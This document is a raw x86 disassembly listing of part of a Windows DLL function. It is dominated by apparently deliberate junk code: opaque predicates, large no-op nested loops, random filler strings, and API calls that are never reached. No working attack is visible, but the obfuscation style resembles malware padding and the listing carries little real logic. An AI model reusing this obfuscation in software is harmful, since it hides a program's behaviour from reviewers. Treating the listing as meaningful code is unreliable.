jmp 0x1002ab47
push dword [ebp - 0x74]
lea ecx, [ebp - 0x478]
call fcn.1000a7a3
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x1058], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0xc5c], eax
push dword [ebp - 0x74]
lea ecx, [ebp - 0x478]
call fcn.1000a7a3
mov ecx, dword [ebp - 0xc5c]
mov dword [eax], ecx
push 4
pop eax
shl eax, 0
mov esi, dword [ebp + eax - 0xde8]
mov edi, dword [ebp - 0x4c]
push 2
lea ecx, [ebp - 0x478]
call fcn.1000a7a3
mov eax, dword [eax]
add eax, edi
imul eax, esi
cmp eax, 0xbf9cc53a
ja 0x1002abd5
cmp dword [ebp - 0x4c], 0
cmp dword [ebp - 0x38], 0xffffffff
jbe 0x1002abe7
mov dword [ebp - 0x790], 1
jmp 0x1002abee
and dword [ebp - 0x790], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x790]
mov dword [ebp + eax - 0xde8], ecx
jmp 0x1002ab2a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x478]
call fcn.1000a787
jmp 0x1002a644
cmp dword [0x1007d428], 0
je 0x1002c507
mov dword [ebp - 0x408], 0xfffffff8
push 1
lea ecx, [ebp - 0xb08]
call fcn.1000a704
mov dword [ebp - 4], 0x39
mov dword [ebp - 0x31c], 0
mov dword [ebp - 0xcac], 1
mov dword [ebp - 0x314], 0
jmp 0x1002ac72
mov eax, dword [ebp - 0x314]
inc eax
mov dword [ebp - 0x314], eax
cmp dword [ebp - 0x314], 1
jge 0x1002ac94
push dword [ebp - 0x314]
lea ecx, [ebp - 0xb08]
call fcn.1000a7a3
mov dword [eax], 0x2d9ee1c9
jmp 0x1002ac65
mov eax, dword [ebp - 0x408]
mov dword [ebp - 0x1060], eax
mov eax, dword [ebp - 0x408]
mov dword [ebp - 0x1068], eax
mov esi, dword [ebp - 0x31c]
push 0
lea ecx, [ebp - 0xb08]
call fcn.1000a7a3
cmp esi, dword [eax]
je 0x1002accf
mov dword [ebp - 0x798], 1
jmp 0x1002acd6
and dword [ebp - 0x798], 0
mov eax, dword [ebp - 0x31c]
cmp dword [ebp - 0x798], eax
jle 0x1002acf0
mov dword [ebp - 0x7a0], 1
jmp 0x1002acf7
and dword [ebp - 0x7a0], 0
mov esi, dword [ebp - 0x7a0]
neg esi
push 0
lea ecx, [ebp - 0xb08]
call fcn.1000a7a3
cmp dword [eax], esi
jge 0x1002ad1c
mov dword [ebp - 0x7a8], 1
jmp 0x1002ad23
and dword [ebp - 0x7a8], 0
mov eax, dword [ebp - 0x408]
cmp eax, dword [ebp - 0x7a8]
je 0x1002ad3d
mov dword [ebp - 0x7b0], 1
jmp 0x1002ad44
and dword [ebp - 0x7b0], 0
mov eax, dword [ebp - 0x31c]
cmp dword [ebp - 0x7b0], eax
jl 0x1002ad5e
mov dword [ebp - 0x7b8], 1
jmp 0x1002ad65
and dword [ebp - 0x7b8], 0
mov esi, dword [ebp - 0x31c]
push 0
lea ecx, [ebp - 0xb08]
call fcn.1000a7a3
mov edi, dword [ebp - 0x7b8]
add edi, dword [eax]
add edi, esi
push 0
lea ecx, [ebp - 0xb08]
call fcn.1000a7a3
add edi, dword [eax]
jne 0x1002ada1
xor eax, eax
inc eax
jne 0x1002ada1
and dword [ebp - 0x7c0], 0
jmp 0x1002adab
mov dword [ebp - 0x7c0], 1
mov eax, dword [ebp - 0x7c0]
mov dword [ebp - 0xcac], eax
mov byte [ebp - 0x105], 0
movzx eax, byte [ebp - 0x105]
test eax, eax
je 0x1002adcf
call dword [sym.imp.GDI32.dll_GdiFlush]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb08]
call fcn.1000a787
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc80], eax
mov dword [ebp - 0x324], 0x609c
mov dword [ebp - 0x32c], 1
mov dword [ebp - 0x848], 0xfffffffa
mov dword [ebp - 0x858], 0xfffffffc
mov dword [ebp - 0x870], 0xc2da50e2
mov dword [ebp - 0x1c], 0
jmp 0x1002ae29
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 1
jge 0x1002ae3f
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x188], 1
jmp 0x1002ae22
mov dword [ebp - 0x1c], 0
jmp 0x1002ae4f
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1002ae65
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xafc], 0xbcb1a7a8
jmp 0x1002ae48
mov dword [ebp - 0x1c], 0
jmp 0x1002ae75
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1002ae8b
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xf88], 0xfffffffb
jmp 0x1002ae6e
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x188]
mov dword [ebp - 0xf98], eax
mov eax, dword [ebp - 0x324]
mov dword [ebp - 0xebc], eax
cmp dword [ebp - 0x32c], 0
je 0x1002aec8
mov eax, 0x187
test eax, eax
je 0x1002aec8
mov dword [ebp - 0x7c8], 1
jmp 0x1002aecf
and dword [ebp - 0x7c8], 0
mov eax, dword [ebp - 0x7c8]
sub eax, 6
mov dword [ebp - 0x32c], eax
jne 0x1002aef2
cmp dword [ebp - 0x324], 0
jne 0x1002aef2
and dword [ebp - 0x7d0], 0
jmp 0x1002aefc
mov dword [ebp - 0x7d0], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x188]
add eax, dword [ebp - 0x7d0]
cmp eax, 0xffff
je 0x1002af22
mov dword [ebp - 0x410], 1
jmp 0x1002af29
and dword [ebp - 0x410], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x410]
mov dword [ebp + eax - 0xafc], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x188]
cmp dword [ebp - 0x410], eax
jge 0x1002af5d
mov dword [ebp - 0x7d8], 1
jmp 0x1002af64
and dword [ebp - 0x7d8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x188]
cmp dword [ebp - 0x7d8], eax
jle 0x1002af85
mov dword [ebp - 0x7e0], 1
jmp 0x1002af8c
and dword [ebp - 0x7e0], 0
cmp dword [ebp - 0x7e0], 0x1e707165
jle 0x1002afa4
mov dword [ebp - 0x7e8], 1
jmp 0x1002afab
and dword [ebp - 0x7e8], 0
mov eax, dword [ebp - 0x324]
cmp dword [ebp - 0x7e8], eax
jge 0x1002afd1
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xafc], 0
jne 0x1002afd1
and dword [ebp - 0x7f0], 0
jmp 0x1002afdb
mov dword [ebp - 0x7f0], 1
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xf88]
cmp dword [ebp - 0x7f0], eax
jl 0x1002affb
mov dword [ebp - 0x7f8], 1
jmp 0x1002b002
and dword [ebp - 0x7f8], 0
mov eax, dword [ebp - 0x7f8]
neg eax
cmp eax, dword [ebp - 0x848]
jl 0x1002b022
push 0xfffffffffffffffc
pop eax
test eax, eax
jne 0x1002b022
and dword [ebp - 0x800], 0
jmp 0x1002b02c
mov dword [ebp - 0x800], 1
mov eax, dword [ebp - 0x324]
cmp eax, dword [ebp - 0x800]
jle 0x1002b046
mov dword [ebp - 0x808], 1
jmp 0x1002b04d
and dword [ebp - 0x808], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x188]
cmp dword [ebp - 0x808], eax
jne 0x1002b097
mov dword [ebp - 0xc68], 6
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xafc]
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xafc], eax
mov eax, dword [ebp - 0xc68]
mov dword [ebp - 0x32c], eax
jmp 0x1002b38f
mov dword [ebp - 0x810], 0x5fcf
mov dword [ebp - 0xcb4], str.bhc_wwpynwujk_bsortdxu_kagt_dmfpfnksi_sedf_xmjh_zsldhl_lrcjbnud_whvgjbd_kbxniji_yfes
cmp dword [ebp - 0x810], 0x60db
jle 0x1002b1af
and dword [ebp - 0x344], 0
jmp 0x1002b0d1
mov eax, dword [ebp - 0x344]
inc eax
mov dword [ebp - 0x344], eax
cmp dword [ebp - 0x344], 0x24b3
jge 0x1002b19f
and dword [ebp - 0x34c], 0
jmp 0x1002b0f7
mov eax, dword [ebp - 0x34c]
inc eax
mov dword [ebp - 0x34c], eax
cmp dword [ebp - 0x34c], 0x2cae
jge 0x1002b19a
and dword [ebp - 0x334], 0
jmp 0x1002b11d
mov eax, dword [ebp - 0x334]
inc eax
mov dword [ebp - 0x334], eax
cmp dword [ebp - 0x334], 0x9e7
jge 0x1002b195
and dword [ebp - 0x33c], 0
jmp 0x1002b13f
mov eax, dword [ebp - 0x33c]
inc eax
mov dword [ebp - 0x33c], eax
cmp dword [ebp - 0x33c], 0x10ee
jge 0x1002b190
mov eax, dword [ebp - 0x334]
sub eax, dword [ebp - 0x33c]
mov edx, dword [ebp - 0x344]
mov ecx, dword [ebp - 0x34c]
sar edx, cl
mov ecx, eax
sar edx, cl
mov eax, edx
cdq
mov dword [ebp - 0xc64], eax
mov dword [ebp - 0xc60], edx
push dword [ebp - 0xc60]
push dword [ebp - 0xc64]
mov ecx, 0x100792f8
call fcn.1000a4ec
jmp 0x1002b132
jmp 0x1002b110
jmp 0x1002b0ea
jmp 0x1002b0c4
push 0x7ff
push 0x795
call dword [sym.imp.GDI32.dll_SetTextAlign]
mov dword [ebp - 0x354], 0x45db0ff8
mov dword [ebp - 4], 0x3a
cmp dword [ebp - 0x810], 0x5de3
jge 0x1002b1dc
mov edx, dword [ebp - 0xcb4]
mov ecx, 0x100792f8
call fcn.1000c8f5
jmp 0x1002b1f8
or dword [ebp - 4], 0xffffffff
jmp 0x1002b202
mov dword [ebp - 0x860], 0x3ce7
mov dword [ebp - 0xfb8], 0xc34f9703
mov eax, dword [ebp - 0x354]
add eax, 0x402ad923
cmp dword [ebp - 0x354], eax
jle 0x1002b235
mov dword [ebp - 0x818], 1
jmp 0x1002b23c
and dword [ebp - 0x818], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xafc]
add eax, dword [ebp - 0x818]
jne 0x1002b25d
mov dword [ebp - 0x820], 1
jmp 0x1002b264
and dword [ebp - 0x820], 0
mov eax, dword [ebp - 0x820]
add eax, 0x56cd219f
jne 0x1002b27d
mov dword [ebp - 0x828], 1
jmp 0x1002b284
and dword [ebp - 0x828], 0
imul eax, dword [ebp - 0x828], 0x25cf
test eax, eax
je 0x1002b2a7
cmp dword [ebp - 0x354], 0
je 0x1002b2a7
mov dword [ebp - 0x830], 1
jmp 0x1002b2ae
and dword [ebp - 0x830], 0
mov eax, dword [ebp - 0x860]
cmp dword [ebp - 0x830], eax
jge 0x1002b2c8
mov dword [ebp - 0x838], 1
jmp 0x1002b2cf
and dword [ebp - 0x838], 0
mov eax, dword [ebp - 0x354]
cmp eax, dword [ebp - 0x838]
jge 0x1002b2e9
mov dword [ebp - 0x840], 1
jmp 0x1002b2f0
and dword [ebp - 0x840], 0
mov eax, dword [ebp - 0x840]
add eax, 0x666e6ec7
cmp eax, dword [ebp - 0x848]
jg 0x1002b30f
mov dword [ebp - 0x850], 1
jmp 0x1002b316
and dword [ebp - 0x850], 0
imul eax, dword [ebp - 0x850], 0xe478
mov dword [ebp - 0x858], eax
mov eax, dword [ebp - 0x858]
mov dword [ebp - 0xec4], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x188]
mov dword [ebp - 0x1038], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xf88], 0
je 0x1002b369
cmp dword [ebp - 0x860], 0
je 0x1002b369
mov dword [ebp - 0x868], 1
jmp 0x1002b370
and dword [ebp - 0x868], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x868]
mov dword [ebp + eax - 0xafc], ecx
mov eax, dword [ebp - 0x870]
dec eax
mov dword [ebp - 0x870], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc98], eax
mov dword [ebp - 0x3c], 0
push 2
lea ecx, [ebp - 0xa74]
call fcn.1000a704
mov dword [ebp - 4], 0x3c
mov dword [ebp - 0x13c], 6
mov dword [ebp - 0x7c], 0
jmp 0x1002b3cd
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 3
jge 0x1002b3e3
mov eax, dword [ebp - 0x7c]
mov dword [ebp + eax*4 - 0xae4], 0xfffffffc
jmp 0x1002b3c6
mov dword [ebp - 0x7c], 0
jmp 0x1002b3f3
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 2
jge 0x1002b40f
push dword [ebp - 0x7c]
lea ecx, [ebp - 0xa74]
call fcn.1000a7a3
mov dword [eax], 1
jmp 0x1002b3ec
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xae4]
mov dword [ebp - 0xecc], eax
push 4
pop eax
shl eax, 1
push 4
pop ecx
shl ecx, 1
mov ecx, dword [ebp + ecx - 0xae4]
cmp ecx, dword [ebp + eax - 0xae4]
jge 0x1002b447
mov dword [ebp - 0x880], 1
jmp 0x1002b44e
and dword [ebp - 0x880], 0
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x878], eax
push 0
lea ecx, [ebp - 0xa74]
call fcn.1000a7a3
mov ecx, dword [ebp - 0x878]
mov dword [eax], ecx
mov eax, dword [ebp - 0x878]
cmp eax, dword [ebp - 0x880]
jle 0x1002b48c
mov dword [ebp - 0x888], 1
jmp 0x1002b493
and dword [ebp - 0x888], 0
cmp dword [ebp - 0x888], 0
jg 0x1002b4ae
mov eax, 0x82bd
test eax, eax
jne 0x1002b4ae
and dword [ebp - 0x890], 0
jmp 0x1002b4b8
mov dword [ebp - 0x890], 1
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xae4]
cmp eax, dword [ebp - 0x890]
jg 0x1002b4d8
mov dword [ebp - 0x898], 1
jmp 0x1002b4df
and dword [ebp - 0x898], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xae4]
cmp dword [ebp - 0x898], eax
jge 0x1002b506
cmp dword [ebp - 0x3c], 0
je 0x1002b506
mov dword [ebp - 0x8a0], 1
jmp 0x1002b50d
and dword [ebp - 0x8a0], 0
cmp dword [ebp - 0x8a0], 0x82c4
jge 0x1002b52b
cmp dword [ebp - 0x3c], 0
je 0x1002b52b
mov dword [ebp - 0x8a8], 1
jmp 0x1002b532
and dword [ebp - 0x8a8], 0
mov eax, dword [ebp - 0x8a8]
add eax, 0x3f665a99
jne 0x1002b555
push 0
lea ecx, [ebp - 0xa74]
call fcn.1000a7a3
cmp dword [eax], 0
je 0x1002b716
mov dword [ebp - 0x418], 0xd1d8
mov dword [ebp - 0x420], 0xb70d8ac5
mov eax, dword [ebp - 0x13c]
neg eax
cmp eax, 0xfffffff6
jle 0x1002b582
mov dword [ebp - 0x8b0], 1
jmp 0x1002b589
and dword [ebp - 0x8b0], 0
mov eax, dword [ebp - 0x8b0]
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x418], 0
jne 0x1002b65a
xor eax, eax
inc eax
je 0x1002b5c5
push 1
lea ecx, [ebp - 0xa74]
call fcn.1000a7a3
cmp dword [eax], 0
je 0x1002b5c5
mov dword [ebp - 0x8b8], 1
jmp 0x1002b5cc
and dword [ebp - 0x8b8], 0
push 0
lea ecx, [ebp - 0xa74]
call fcn.1000a7a3
mov ecx, dword [ebp - 0x8b8]
cmp ecx, dword [eax]
jne 0x1002b5ef
mov dword [ebp - 0x8c0], 1
jmp 0x1002b5f6
and dword [ebp - 0x8c0], 0
push 0
lea ecx, [ebp - 0xa74]
call fcn.1000a7a3
mov ecx, dword [ebp - 0x8c0]
cmp ecx, dword [eax]
je 0x1002b619
mov dword [ebp - 0xc74], 1
jmp 0x1002b620
and dword [ebp - 0xc74], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xae4]
mov dword [ebp - 0xfc0], eax
mov eax, dword [ebp - 0x418]
mov dword [ebp - 0xed4], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x1014], eax
cmp dword [ebp - 0x13c], 0
jne 0x1002b65a
and dword [ebp - 0x8c8], 0
jmp 0x1002b664
mov dword [ebp - 0x8c8], 1
mov eax, dword [ebp - 0x420]
cmp dword [ebp - 0x8c8], eax
jl 0x1002b67e
mov dword [ebp - 0x8d0], 1
jmp 0x1002b685
and dword [ebp - 0x8d0], 0
cmp dword [ebp - 0x8d0], 0x925b
je 0x1002b6a6
cmp dword [ebp - 0x420], 0
je 0x1002b6a6
mov dword [ebp - 0x8d8], 1
jmp 0x1002b6ad
and dword [ebp - 0x8d8], 0
mov eax, dword [ebp - 0x420]
cmp dword [ebp - 0x8d8], eax
jge 0x1002b6da
mov byte [ebp - 0x146], 0
movzx eax, byte [ebp - 0x146]
test eax, eax
je 0x1002b6d8
push 0x1924
call dword [sym.imp.USER32.dll_IsIconic]
jmp 0x1002b6f4
mov byte [ebp - 0x10d], 0
movzx eax, byte [ebp - 0x10d]
test eax, eax
je 0x1002b6f4
push 0
call dword [sym.imp.GDI32.dll_CreatePatternBrush]
mov byte [ebp - 0x115], 0
movzx eax, byte [ebp - 0x115]
test eax, eax
je 0x1002b711
push 0x24b4
call dword [sym.imp.USER32.dll_DestroyWindow]
jmp 0x1002b7c5
mov dword [ebp - 0x364], 0
mov dword [ebp - 0x35c], 0
jmp 0x1002b739
mov eax, dword [ebp - 0x35c]
inc eax
mov dword [ebp - 0x35c], eax
cmp dword [ebp - 0x35c], 3
jge 0x1002b755
mov eax, dword [ebp - 0x35c]
mov dword [ebp + eax*4 - 0x1080], 1
jmp 0x1002b72c
mov eax, dword [ebp - 0x364]
cmp eax, dword [ebp - 0x364]
jge 0x1002b76f
mov dword [ebp - 0x8e0], 1
jmp 0x1002b776
and dword [ebp - 0x8e0], 0
mov eax, dword [ebp - 0x364]
add eax, dword [ebp - 0x8e0]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x364]
mov dword [ebp - 0xedc], eax
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x8e8], eax
push 0
lea ecx, [ebp - 0xa74]
call fcn.1000a7a3
mov ecx, dword [ebp - 0x8e8]
mov dword [eax], ecx
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x8e8]
mov dword [ebp + eax - 0x1080], ecx
mov dword [ebp - 0x13c], 0
jmp 0x1002b7de
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0x19
jne 0x1002b97b
mov dword [ebp - 0x3c], 0xfffffffb
jmp 0x1002b7fb
mov eax, dword [ebp - 0x3c]
dec eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xfffffff0
je 0x1002b976
mov dword [ebp - 0x8f0], 0x6c93
mov dword [ebp - 0xcbc], str.hhzhnl_gueyhx_epjaorufc_tcbqhcah_grjzcg
cmp dword [ebp - 0x8f0], 0x6d64
jle 0x1002b903
and dword [ebp - 0x36c], 0
jmp 0x1002b83f
mov eax, dword [ebp - 0x36c]
inc eax
mov dword [ebp - 0x36c], eax
cmp dword [ebp - 0x36c], 0x4f53
jge 0x1002b903
and dword [ebp - 0x374], 0
jmp 0x1002b865
mov eax, dword [ebp - 0x374]
inc eax
mov dword [ebp - 0x374], eax
cmp dword [ebp - 0x374], 0x7719
jge 0x1002b8fe
and dword [ebp - 0x37c], 0
jmp 0x1002b88b
mov eax, dword [ebp - 0x37c]
inc eax
mov dword [ebp - 0x37c], eax
cmp dword [ebp - 0x37c], 0x37c6
jge 0x1002b8f9
and dword [ebp - 0x384], 0
jmp 0x1002b8ad
mov eax, dword [ebp - 0x384]
inc eax
mov dword [ebp - 0x384], eax
cmp dword [ebp - 0x384], 0x1bf4
jge 0x1002b8f7
mov eax, dword [ebp - 0x36c]
imul eax, dword [ebp - 0x374]
and eax, dword [ebp - 0x37c]
xor eax, dword [ebp - 0x384]
cdq
mov dword [ebp - 0xc70], eax
mov dword [ebp - 0xc6c], edx
push dword [ebp - 0xc6c]
push dword [ebp - 0xc70]
mov ecx, 0x100792f8
call fcn.1000a4ec
jmp 0x1002b8a0
jmp 0x1002b87e
jmp 0x1002b858
jmp 0x1002b832
mov byte [ebp - 0x148], 0
mov byte [ebp - 4], 0x3d
cmp dword [ebp - 0x8f0], 0x6a99
jge 0x1002b92a
mov edx, dword [ebp - 0xcbc]
mov ecx, 0x100792f8
call fcn.1000c8f5
jmp 0x1002b946
mov dword [ebp - 4], 0x3c
jmp 0x1002b956
movzx eax, byte [ebp - 0x148]
test eax, eax
je 0x1002b971
push 0x191d
push 0x1998
call dword [sym.imp.GDI32.dll_SetROP2]
jmp 0x1002b7f4
jmp 0x1002b7d1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa74]
call fcn.1000a787
mov eax, dword [ebp - 0xc80]
mov dword [ebp - 0xb14], eax
mov dword [ebp - 0x394], 0x5b9b55bb
push 2
lea ecx, [ebp - 0xab0]
call fcn.1000a704
mov dword [ebp - 4], 0x3f
mov dword [ebp - 0x4d8], 0xfffffff6
mov dword [ebp - 0x38c], 0
jmp 0x1002b9d7
mov eax, dword [ebp - 0x38c]
inc eax
mov dword [ebp - 0x38c], eax
cmp dword [ebp - 0x38c], 2
jge 0x1002b9f6
push dword [ebp - 0x38c]
lea ecx, [ebp - 0xab0]
call fcn.1000a7a3
or dword [eax], 0xffffffff
jmp 0x1002b9ca
mov dword [ebp - 0x394], 0x16
jmp 0x1002ba0f
mov eax, dword [ebp - 0x394]
inc eax
mov dword [ebp - 0x394], eax
cmp dword [ebp - 0x394], 0x18
jg 0x1002bce9
mov dword [ebp - 0x168], 1
mov dword [ebp - 0x168], 1
jmp 0x1002ba3f
mov eax, dword [ebp - 0x168]
dec eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 0
jl 0x1002bce4
mov dword [ebp - 0x918], 8
mov dword [ebp - 0x900], 1
mov dword [ebp - 0x8f8], 0x27a0
mov dword [ebp - 0xc8c], str.sqa_botitjc_vwyl_mxdyplwy_qnnp_pcm_iemapbnyh_pfty_pip_ezzdqha_svjcuwz_qxf_xpmuolxdx
cmp dword [ebp - 0x8f8], 0x2a06
jle 0x1002bb66
push 0x194b
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
and dword [ebp - 0x39c], 0
jmp 0x1002baa5
mov eax, dword [ebp - 0x39c]
inc eax
mov dword [ebp - 0x39c], eax
cmp dword [ebp - 0x39c], 0xb57
jge 0x1002bb66
and dword [ebp - 0x3a4], 0
jmp 0x1002bacb
mov eax, dword [ebp - 0x3a4]
inc eax
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], 0x3c25
jge 0x1002bb61
and dword [ebp - 0x3ac], 0
jmp 0x1002baf1
mov eax, dword [ebp - 0x3ac]
inc eax
mov dword [ebp - 0x3ac], eax
cmp dword [ebp - 0x3ac], 0x3dfb
jge 0x1002bb5c
mov eax, dword [ebp - 0x39c]
mov ecx, dword [ebp - 0x3a4]
sar eax, cl
or eax, dword [ebp - 0x3ac]
cdq
mov dword [ebp - 0xc7c], eax
mov dword [ebp - 0xc78], edx
push dword [ebp - 0xc78]
push dword [ebp - 0xc7c]
lea ecx, [ebp - 0x1174]
call fcn.10001a6a
pop ecx
pop ecx
mov dword [ebp - 0xcc4], eax
mov ecx, dword [ebp - 0xcc4]
call fcn.1000a45e
push eax
call fcn.10046acc
pop ecx
lea ecx, [ebp - 0x1174]
call fcn.1000a440
jmp 0x1002bae4
jmp 0x1002babe
jmp 0x1002ba98
mov dword [ebp - 0x908], 0x6652d0da
mov byte [ebp - 4], 0x40
cmp dword [ebp - 0x8f8], 0x2765
jge 0x1002bb8c
push dword [ebp - 0xc8c]
call fcn.10046acc
pop ecx
jmp 0x1002bba8
mov dword [ebp - 4], 0x3f
jmp 0x1002bbb8
mov dword [ebp - 0x3b4], 0
jmp 0x1002bbd1
mov eax, dword [ebp - 0x3b4]
inc eax
mov dword [ebp - 0x3b4], eax
cmp dword [ebp - 0x3b4], 3
jge 0x1002bbed
mov eax, dword [ebp - 0x3b4]
mov dword [ebp + eax*4 - 0x108c], 0xffffffff
jmp 0x1002bbc4
mov eax, dword [ebp - 0x918]
mov dword [ebp - 0x900], eax
mov eax, dword [ebp - 0x900]
mov dword [ebp - 0x908], eax
mov esi, dword [ebp - 0x908]
push 1
lea ecx, [ebp - 0xab0]
call fcn.1000a7a3
imul esi, dword [eax]
push dword [ebp - 0x168]
lea ecx, [ebp - 0xab0]
call fcn.1000a7a3
cmp dword [eax], esi
jne 0x1002bc3c
mov dword [ebp - 0xccc], 1
jmp 0x1002bc43
and dword [ebp - 0xccc], 0
push 0
lea ecx, [ebp - 0xab0]
call fcn.1000a7a3
cmp dword [eax], 0xfffe
je 0x1002bc64
mov dword [ebp - 0x910], 1
jmp 0x1002bc6b
and dword [ebp - 0x910], 0
mov eax, dword [ebp - 0x910]
mov dword [ebp - 0x4d8], eax
mov eax, dword [ebp - 0x918]
cmp eax, dword [ebp - 0x4d8]
jg 0x1002bc91
mov dword [ebp - 0xcd4], 1
jmp 0x1002bc98
and dword [ebp - 0xcd4], 0
push 0
lea ecx, [ebp - 0xab0]
call fcn.1000a7a3
push 1
lea ecx, [ebp - 0xab0]
call fcn.1000a7a3
mov eax, dword [ebp - 0x168]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x108c], eax
mov byte [ebp - 0x11d], 0
movzx eax, byte [ebp - 0x11d]
test eax, eax
je 0x1002bcdf
push 0
call dword [sym.imp.GDI32.dll_DeleteObject]
jmp 0x1002ba32
jmp 0x1002ba02
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xab0]
call fcn.1000a787
mov eax, dword [ebp - 0xc98]
mov dword [ebp - 0xb10], eax
mov dword [ebp - 0xdc], 0xffffffff
mov dword [ebp - 0x84], 0xcadfb1a
mov dword [ebp - 0x3d4], 0xfffffffd
mov byte [ebp - 0x14d], 0
movzx eax, byte [ebp - 0x14d]
test eax, eax
je 0x1002bd3e
push 0
push 0
call dword [sym.imp.USER32.dll_GetMonitorInfoW]
mov dword [ebp - 0xdc], 0
jmp 0x1002bd57
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 0x10
jl 0x1002c180
mov dword [ebp - 0x428], 0xfffffffd
mov dword [ebp - 0x3bc], 0
jmp 0x1002bd87
mov eax, dword [ebp - 0x3bc]
inc eax
mov dword [ebp - 0x3bc], eax
cmp dword [ebp - 0x3bc], 3
jge 0x1002bda3
mov eax, dword [ebp - 0x3bc]
mov dword [ebp + eax*4 - 0xdb8], 1
jmp 0x1002bd7a
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xdb8], 0
je 0x1002beee
mov dword [ebp - 0x3cc], 0xa290be4
mov dword [ebp - 0xfc8], 0
mov dword [ebp - 0xee4], 0x66bafcb1
push 2
lea ecx, [ebp - 0xe28]
call fcn.1000a704
mov dword [ebp - 4], 0x42
mov dword [ebp - 0x3c4], 0
jmp 0x1002be02
mov eax, dword [ebp - 0x3c4]
inc eax
mov dword [ebp - 0x3c4], eax
cmp dword [ebp - 0x3c4], 2
jge 0x1002be21
push dword [ebp - 0x3c4]
lea ecx, [ebp - 0xe28]
call fcn.1000a7a3
or dword [eax], 0xffffffff
jmp 0x1002bdf5
mov dword [ebp - 0x3cc], 0
jmp 0x1002be3a
mov eax, dword [ebp - 0x3cc]
inc eax
mov dword [ebp - 0x3cc], eax
cmp dword [ebp - 0x3cc], 2
jg 0x1002be52
mov eax, dword [ebp - 0x428]
inc eax
mov dword [ebp - 0x428], eax
jmp 0x1002be2d
mov eax, dword [ebp - 0xdc]
inc eax
neg eax
cmp eax, 0xc80a
jle 0x1002be6e
mov dword [ebp - 0x4dc], 1
jmp 0x1002be75
and dword [ebp - 0x4dc], 0
mov eax, dword [ebp - 0x4dc]
mov dword [ebp - 0x84], eax
mov esi, dword [ebp - 0x84]
push 1
lea ecx, [ebp - 0xe28]
call fcn.1000a7a3
cmp esi, dword [eax]
je 0x1002bea4
mov dword [ebp - 0x4e4], 1
jmp 0x1002beab
and dword [ebp - 0x4e4], 0
cmp dword [ebp - 0x4e4], 0x974a5202
jne 0x1002bec3
mov dword [ebp - 0xd18], 1
jmp 0x1002beca
and dword [ebp - 0xd18], 0
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0xdb8], 0x9338886a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe28]
call fcn.1000a787
jmp 0x1002c139
mov dword [ebp - 0x1a0], 0x94ccb090
mov dword [ebp - 0xde0], 0xca0becc3
mov dword [ebp - 0xddc], 0xca0becc3
mov dword [ebp - 0xdd8], 0xca0becc3
mov dword [ebp - 0xdd4], 0xca0becc3
mov dword [ebp - 0x430], 0xab1f
cmp dword [ebp - 0x1a0], 0
je 0x1002bf9b
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xdb8]
mov dword [ebp - 0x1064], eax
mov eax, dword [ebp - 0xdc]
